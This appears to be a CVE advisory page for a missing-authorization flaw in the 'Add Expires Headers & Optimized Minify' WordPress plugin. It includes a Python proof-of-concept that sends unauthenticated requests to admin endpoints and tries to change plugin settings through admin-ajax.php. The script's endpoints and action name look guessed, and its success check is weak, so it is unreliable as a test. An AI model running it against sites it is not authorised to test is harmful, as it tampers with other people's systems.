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CVE-2026-24633 CVSS 5.3 MEDIUM

CVE-2026-24633

Published: 2026-01-23 15:16:23
Last Modified: 2026-04-28 15:16:21

Description

Missing Authorization vulnerability in Passionate Brains Add Expires Headers & Optimized Minify add-expires-headers allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Add Expires Headers & Optimized Minify: from n/a through <= 3.2.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Add Expires Headers & Optimized Minify <= 3.2.0
Add Expires Headers & Optimized Minify <= 3.1.0
Add Expires Headers & Optimized Minify <= 3.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-24633 PoC - Missing Authorization in Add Expires Headers Plugin # Target: WordPress site with vulnerable Add Expires Headers plugin (<=3.2.0) def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-24633 """ # Try to access plugin settings without authentication # Common plugin endpoints endpoints = [ '/wp-admin/admin-ajax.php', '/wp-admin/options-general.php?page=add-expires-headers', ] for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, timeout=10, verify=False) # Check if we can access admin functionality without auth if response.status_code == 200: print(f"[+] Potentially vulnerable endpoint: {url}") except requests.RequestException as e: print(f"[-] Error accessing {url}: {e}") # Try to modify settings via AJAX (exploitation attempt) ajax_url = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' data = { 'action': 'add_expires_headers_save', 'expires_headers': 'test', } try: response = requests.post(ajax_url, data=data, timeout=10, verify=False) if response.status_code == 200: print(f"[+] AJAX endpoint accessible - plugin may be vulnerable") print(f"[+] Response: {response.text[:200]}") except requests.RequestException as e: print(f"[-] Error: {e}") if __name__ == '__main__': if len(sys.argv) > 1: check_vulnerability(sys.argv[1]) else: print('Usage: python cve-2026-24633-poc.py <target_url>') print('Example: python cve-2026-24633-poc.py http://target.com')

References

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